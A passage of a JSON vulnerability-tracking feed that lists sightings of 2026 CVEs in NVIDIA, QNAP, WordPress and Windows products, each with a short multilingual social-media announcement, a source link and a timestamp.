"cdc569d0-92d6-4831-a84d-de0b1c6def42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24724", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1934", "content": "", "creation_timestamp": "2026-06-23T21:00:00.000000Z"}, {"uuid": "e917dbb3-d278-44ec-9ace-b9dce662c693", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24376", "type": "seen", "source": "https://bsky.app/profile/donwebmedia.bsky.social/post/3mpbzrro2dt2m", "content": "Escalada de privilegios WordPress: CVEs cr\u00edticos\n\nDos plugins permiten que un suscriptor se convierta en admin de tu sitio WordPress. \u00bfTu web est\u00e1 en la lista de afectados por CVE-2026-24376 y CVE-2026-...\n\n#escaladadeprivilegios #wordpress #cve2026 #wpvulnerability #kirki", "creation_timestamp": "2026-06-27T17:55:50.360004Z"}, {"uuid": "b1140e61-bf3e-47fc-a719-832336412fde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24294", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mpg4kkkmog23", "content": "Researcher publicly disclosed an NTLM reflection bypass, CVE-2026-24294, with PoC exploit code. It gives SYSTEM on Windows Server 2025. Patch now.\n\n#NTLM #NTLMReflection #CVE202624294 #Windows #PrivEsc #Cybersecurity #Infosec", "creation_timestamp": "2026-06-29T08:56:08.774693Z"}, {"uuid": "4bc67619-bc8a-4db2-b8ce-ccf67486c416", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24082", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpgupkuayp23", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24082: \u041e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u0440\u0438 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0451\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\n\n\n\nhttps://kripta.biz/posts/CBB32B4F-CAF6-4B45-BBBE-49349484001C", "creation_timestamp": "2026-06-29T16:08:25.934294Z"}, {"uuid": "0904f62f-4069-402c-b6b9-c96e4ae56395", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24418", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/116834915504542283", "content": "\u203c\ufe0f CVE-2026-24418: OpenSTAManager v2.9.8 and earlier contain a critical Error-Based SQL Injection vulnerability in the bulk operations handler for the Scadenzario (Payment Schedule) module.\nGitHub: https://github.com/BridgerAlderson/CVE-2026-24418", "creation_timestamp": "2026-06-29T18:55:45.369582Z"}, {"uuid": "55277823-b9c3-4159-8f11-1f5105ea5600", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24294", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mphsjry5qw2u", "content": "NTLM\u30ea\u30d5\u30ec\u30af\u30b7\u30e7\u30f3\u30d0\u30a4\u30d1\u30b9CVE-2026-24294\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308bPoC\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u304c\u516c\u958b\u3055\u308c\u308b \n\nNTLM Reflection Bypass CVE-2026-24294 Gets Public PoC Exploit  #DailyCyberSecurity (Jun 29)\n\nsecurityonline.info/ntlm-reflect...", "creation_timestamp": "2026-06-30T01:02:04.156931Z"}, {"uuid": "d8fee30a-c185-42ca-92ac-5a565a36ebf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24717", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mphxfihksc22", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24717 \u0432 QNAP: \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u043b\u044f \u0432\u0430\u0448\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/85758FB6-C52A-4CBE-8028-894A3022DDDD", "creation_timestamp": "2026-06-30T02:29:08.526181Z"}, {"uuid": "fd67b404-5501-4b67-a3bb-86da52d638b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24719", "type": "seen", "source": "https://bsky.app/profile/qiancx.bsky.social/post/3mphxfyninf2u", "content": "QNAP \u8bbe\u5907\u547d\u4ee4\u6ce8\u5165\u6f0f\u6d1e CVE-2026-24719 \u6df1\u5ea6\u5206\u6790:\u5f71\u54cd\u8303\u56f4\u3001\u4fee\u590d\u5efa\u8bae\u4e0e\u5b89\u5168\u9632\u62a4\u6307\u5357\n\n\n\nhttps://qian.cx/posts/86E0A724-CE8B-40E5-ACB8-62A7F247BD50", "creation_timestamp": "2026-06-30T02:29:25.617474Z"}, {"uuid": "0794a21f-9bd4-45b9-8598-70c9f71b0a10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24719", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mphxg4f3t72w", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24719 \u0432 QNAP: \u0443\u0433\u0440\u043e\u0437\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/26AFFBC5-F335-463B-B440-AA41D8E6094B", "creation_timestamp": "2026-06-30T02:29:29.420396Z"}, {"uuid": "3712b184-0b8e-4aa5-ba9d-5491c925597b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24716", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mphxhebohf2d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24716 \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 QNAP: \u0443\u0433\u0440\u043e\u0437\u0430 NULL pointer dereference \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/8740D735-EEB3-4660-8083-DCBAA30BF3F4", "creation_timestamp": "2026-06-30T02:30:11.431361Z"}, {"uuid": "a809ce38-07c9-40db-993b-68410dcc8c34", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-24423", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/9d46fb90-1d7c-4cb5-8731-ff8853bd4fb0", "content": "", "creation_timestamp": "2026-06-30T09:23:46.408392Z"}, {"uuid": "75f81a98-d3af-43a4-82a3-769a687a2ab6", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-24061", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/439f05d5-85b2-4b83-a608-64d4d6bf938b", "content": "", "creation_timestamp": "2026-06-30T10:01:19.236138Z"}, {"uuid": "9fdce2cf-0685-4069-8d2a-7573bfbf4b97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24294", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mpixq7m7rf2t", "content": "\ufffd Windows NTLM Reflection Bypass Exposes SYSTEM-Level Control on Fully Patched Systems (CVE-2025-33073 \u2192 CVE-2026-24294) +\u00a0Video\n\n\ud83e\udde0 Introduction: When \u201cFully Patched\u201d Still Means Fully Exposed A system that claims to be secure after updates should inspire confidence, not concern. Yet the discovery\u2026", "creation_timestamp": "2026-06-30T12:07:52.874869Z"}, {"uuid": "c3aa03b6-ec0e-4398-ae67-e252b0e6ea56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24270", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116840007230776932", "content": "Broadcom has a long list of advisories for a bunch of vulnerabilities, included critical and high-severity holes https://support.broadcom.com/web/ecx/security-advisory\nCISA:\nSeveral industrial vulnerabilities have been added https://www.cisa.gov/\nCisco:\nEconolite has been tagged for zero-day reports https://talosintelligence.com/vulnerability_info\nDell:\n- CRITICAL: Security Update for Dell Encryption for Multiple libexpat Vulnerabilities https://www.dell.com/support/kbdoc/en-us/000475690/dsa-2026-268\nTwo others:\n- https://www.dell.com/support/kbdoc/en-us/000483600/dsa-2026-261-security-update-for-dell-powerscale-onefs-multiple-vulnerabilities\n- https://www.dell.com/support/kbdoc/en-us/000483600/dsa-2026-261-security-update-for-dell-powerscale-onefs-multiple-vulnerabilities\nNvidia:\nThere are several advisories today, three of them critical:\nCRITICAL:\n- CVE-2026-24270: NVIDIA AIStore Framework - June 2026 https://nvidia.custhelp.com/app/answers/detail/a_id/5849\n- CVE-2025-23351, CVE-2025-23350: NVIDIA Networking BlueField and ConnectX - June 2026 https://nvidia.custhelp.com/app/answers/detail/a_id/5699\n- NVIDIA Megatron Bridge - June 2026, affecting multiple CVEs https://nvidia.custhelp.com/app/answers/detail/a_id/5841\nMore: https://www.nvidia.com/en-us/product-security/\nYesterday:\nApple:\nSeveral security updates: https://support.apple.com/en-us/100100 #infosec #vulnerability #Apple #Nvidia #Dell #Cisco #CISA #Broadcom", "creation_timestamp": "2026-06-30T16:30:28.662158Z"}, {"uuid": "7b54bda9-4346-4197-8271-8abb2c418eb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24002", "type": "seen", "source": "https://t.me/wh_lab/575", "content": "\ud83d\udcf0 \u041f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u044b \u0437\u0430 \u044d\u0442\u0443 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\ud83e\udd8e AdaptixC2 v1.1\n\n\ud83d\udcbb Advancing Windows security: Disabling NTLM by default\n\n\ud83d\udcf0 \u0416\u0443\u0440\u043d\u0430\u043b Backconnect\n\n\ud83d\udcbb Stratus Red Team v2.32.2\n\n\ud83d\udcbb ADACLScanner v9.4\n\n\ud83d\udcbb GhostKatz - \u0434\u0430\u043c\u043f LSASS \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430\n\n\u2699 CVE-2026-24002 - RCE sandbox escape in Grist\u2011Core\n\n\ud83c\udf83 Awesome Hacker Search Engines\n\n\ud83d\udd78 Top 10 web hacking techniques of 2025\n\n\ud83d\udcbb LEHACK 2025 (Active Directory Lab)\n\n\ud83d\udc15 BloodHound CE v8.5.2\n\n#digest #useful #posts\n\n\u2708\ufe0f Telegram \ud83d\udcac MAX", "creation_timestamp": "2026-08-15T08:00:03.969763Z"}, {"uuid": "081c92c5-4ef2-4c1d-9bf0-9a9af6724904", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24031", "type": "seen", "source": "Telegram/LmlXMJPccu58VvGU5aOjYbYbwZMsUyLpZXlM2w2Wis0P_HI", "content": "", "creation_timestamp": "2026-08-15T08:00:06.293461Z"}, {"uuid": "37a0c768-ec75-4e2f-a6f7-9da6e03a538a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24270", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpluoza7dy2v", "content": "CVE-2026-24270 - NVIDIA AIStore Authentication Bypass\nCVE ID : CVE-2026-24270\n \n Published : July 1, 2026, 3:12 p.m. | 34\u00a0minutes ago\n \n Description : NVIDIA AIStore framework contains a vulnerability where an attacker could bypass authentication. A successful exploit of this ...", "creation_timestamp": "2026-07-01T15:51:26.119360Z"}, {"uuid": "7159741c-815f-4581-ba41-01dbc58749dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24266", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpluxjpby625", "content": "CVE-2026-24266 - NVIDIA Triton Inference Server Use-After-Free\nCVE ID : CVE-2026-24266\n \n Published : July 1, 2026, 3:11 p.m. | 35\u00a0minutes ago\n \n Description : NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker can cause a use-after-free issue....", "creation_timestamp": "2026-07-01T15:56:11.745169Z"}, {"uuid": "cf5e6341-86f2-4ecd-aa39-bc9ed6beb8b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24264", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mplv62nhps2k", "content": "CVE-2026-24264 - NVIDIA Triton Inference Server Denial of Service\nCVE ID : CVE-2026-24264\n \n Published : July 1, 2026, 3:11 p.m. | 35\u00a0minutes ago\n \n Description : NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker can cause improper handling of...", "creation_timestamp": "2026-07-01T15:59:51.209599Z"}, {"uuid": "7820798b-4715-47fb-a029-50b620c50d55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24247", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mplvbnh36e2i", "content": "CVE-2026-24247 - NVIDIA Megatron Bridge: Deserialization of Untrusted Data\nCVE ID : CVE-2026-24247\n \n Published : July 1, 2026, 2:56 p.m. | 50\u00a0minutes ago\n \n Description : NVIDIA Megatron Bridge for Linux contains a vulnerability where an attacker could cause deserialization o...", "creation_timestamp": "2026-07-01T16:01:51.997188Z"}, {"uuid": "8b0d22da-c4bc-4d50-8b35-7f9e8a0d51a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24246", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mplvsyjgd32v", "content": "CVE-2026-24246 - NVIDIA Megatron Bridge: Improper Control of Dynamically Managed Code Resources\nCVE ID : CVE-2026-24246\n \n Published : July 1, 2026, 2:56 p.m. | 50\u00a0minutes ago\n \n Description : NVIDIA Megatron Bridge for Linux contains a vulnerability where an attacker could ca...", "creation_timestamp": "2026-07-01T16:11:33.082463Z"}, {"uuid": "517a44f3-c439-477a-9120-a9f70fa3b5cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24245", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mplwf2i7xe26", "content": "CVE-2026-24245 - NVIDIA Megatron Bridge: Untrusted Deserialization\nCVE ID : CVE-2026-24245\n \n Published : July 1, 2026, 2:55 p.m. | 51\u00a0minutes ago\n \n Description : NVIDIA Megatron Bridge for Linux contains a vulnerability where an attacker could cause deserialization of untrus...", "creation_timestamp": "2026-07-01T16:21:39.387364Z"}, {"uuid": "29fdd62c-e198-4f4e-8b3f-0fc0082d89a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24250", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mplwvojx5z2h", "content": "CVE-2026-24250 - NVIDIA Megatron Bridge: Improper Input Validation Leading to Code Execution and Privilege Escalation\nCVE ID : CVE-2026-24250\n \n Published : July 1, 2026, 2:58 p.m. | 48\u00a0minutes ago\n \n Description : NVIDIA Megatron Bridge for Linux contains a vulnerability wher...", "creation_timestamp": "2026-07-01T16:30:57.143195Z"}, {"uuid": "52682628-3942-4bbf-9ce5-b7b1ca6fb4cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24248", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mplx6mxczo2p", "content": "CVE-2026-24248 - NVIDIA Megatron Bridge Improper Control of Code Generation Vulnerability\nCVE ID : CVE-2026-24248\n \n Published : July 1, 2026, 2:57 p.m. | 49\u00a0minutes ago\n \n Description : NVIDIA Megatron Bridge for Linux contains a vulnerability where an attacker could cause im...", "creation_timestamp": "2026-07-01T16:35:57.597602Z"}, {"uuid": "b551ae1a-51e6-45e2-bb48-84c5d099cd3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24249", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mplxhlf3fn27", "content": "CVE-2026-24249 - NVIDIA Megatron Bridge Deserialization Vulnerability\nCVE ID : CVE-2026-24249\n \n Published : July 1, 2026, 2:57 p.m. | 49\u00a0minutes ago\n \n Description : NVIDIA Megatron Bridge for Linux contains a vulnerability where an attacker could cause deserialization of unt...", "creation_timestamp": "2026-07-01T16:40:57.747285Z"}, {"uuid": "1a23b04b-85bc-41ad-bdc0-ce8ecc1d3e66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24251", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mplxzi7i4w2h", "content": "CVE-2026-24251 - NVIDIA Megatron Bridge: Improper Control of Dynamically Managed Code Resources\nCVE ID : CVE-2026-24251\n \n Published : July 1, 2026, 2:58 p.m. | 47\u00a0minutes ago\n \n Description : NVIDIA Megatron Bridge for Linux contains a vulnerability where an attacker could ca...", "creation_timestamp": "2026-07-01T16:50:58.564375Z"}, {"uuid": "89a39a76-626c-4396-8082-eddb4f64e118", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24240", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmwo7elco2q", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24240 \u0432 NVIDIA Megatron Bridge: \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u043b\u044f Linux-\u0441\u0438\u0441\u0442\u0435\u043c\n\n\n\nhttps://kripta.biz/posts/FE49EBAE-289A-4A7C-8FF8-304027D0DB48", "creation_timestamp": "2026-07-02T02:00:00.272832Z"}, {"uuid": "466102f8-3cce-4843-ae11-799c54e2f6c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24242", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmxrl6ign2t", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24242 \u0432 NVIDIA Megatron Bridge: \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u043b\u044f Linux-\u0441\u0438\u0441\u0442\u0435\u043c\n\n\n\nhttps://kripta.biz/posts/1A99B99D-E380-41FC-90B2-324CF2745FED", "creation_timestamp": "2026-07-02T02:19:12.823973Z"}, {"uuid": "9f501aa5-81ce-4dc6-b49a-79e32fdb697d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24243", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmxscvlxh2q", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24243 \u0432 NVIDIA Megatron Bridge \u0434\u043b\u044f Linux: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/BFF8FAA8-F1CE-4566-A919-32B78FF341CB", "creation_timestamp": "2026-07-02T02:19:37.584318Z"}, {"uuid": "524f0a70-69a0-4bc8-818a-5591f38c9933", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24260", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmymphwch27", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24260 \u0432 NVIDIA Container Toolkit: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/B30B1D24-24C0-4F03-9F0C-0611497ED3E6", "creation_timestamp": "2026-07-02T02:34:23.858540Z"}, {"uuid": "3c8f56ec-1661-498d-8f12-53a14167aaca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24266", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmzhkzzk62t", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24266 \u0432 NVIDIA Triton Inference Server: \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u043b\u044f Linux-\u0441\u0438\u0441\u0442\u0435\u043c\n\n\n\nhttps://kripta.biz/posts/D7EBD264-9CB7-4376-962C-54693497E373", "creation_timestamp": "2026-07-02T02:49:24.512774Z"}, {"uuid": "882ee04a-41a4-409d-90f7-350616b5706d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24270", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmzk4v4bf2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24270 \u0432 NVIDIA AIStore: \u0443\u0433\u0440\u043e\u0437\u0430 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/13197BAC-584B-4862-A7D7-1501D6D39743", "creation_timestamp": "2026-07-02T02:50:50.678609Z"}, {"uuid": "4e524f2d-14e2-4bf1-a441-029db4423c34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24245", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpn6woaywm2k", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24245 \u0432 NVIDIA Megatron Bridge \u0434\u043b\u044f Linux: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/4BB9F009-5CB1-4B27-A696-5029A7409642", "creation_timestamp": "2026-07-02T04:27:20.185034Z"}, {"uuid": "9ec2f92b-ba46-4cec-b3e5-0fc18d13755c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24251", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpn6xbywkd2t", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24251 \u0432 NVIDIA Megatron Bridge: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/F3E9B4E0-4395-4905-9932-E543D14DEF18", "creation_timestamp": "2026-07-02T04:27:40.813945Z"}, {"uuid": "bef44e2a-1bf5-4c67-a2ca-69f29d4fe822", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24264", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpn6xzkdqw2r", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24264 \u0432 NVIDIA Triton Inference Server: \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u043b\u044f Linux-\u0441\u0438\u0441\u0442\u0435\u043c\n\n\n\nhttps://kripta.biz/posts/9D158C3D-3579-4514-868B-488D7A5229C3", "creation_timestamp": "2026-07-02T04:28:05.312978Z"}, {"uuid": "ea714c3e-62e2-4f26-860a-8fc475661eb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24250", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpn72yqmkt2l", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24250 \u0432 NVIDIA Megatron Bridge: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/6D8E0089-0484-4F7A-BD52-B8D7F089477C", "creation_timestamp": "2026-07-02T04:29:45.306403Z"}, {"uuid": "b5f498ce-4c86-422a-8434-478b0343ea0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24266", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpn73ud72222", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24266 \u0432 NVIDIA Triton Inference Server: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/D5D6F86F-9CD3-441A-90B4-C348E35CDF90", "creation_timestamp": "2026-07-02T04:30:14.481207Z"}, {"uuid": "daade095-a40a-4fe1-b782-6350a5ce6275", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24244", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpn7btczcf2u", "content": 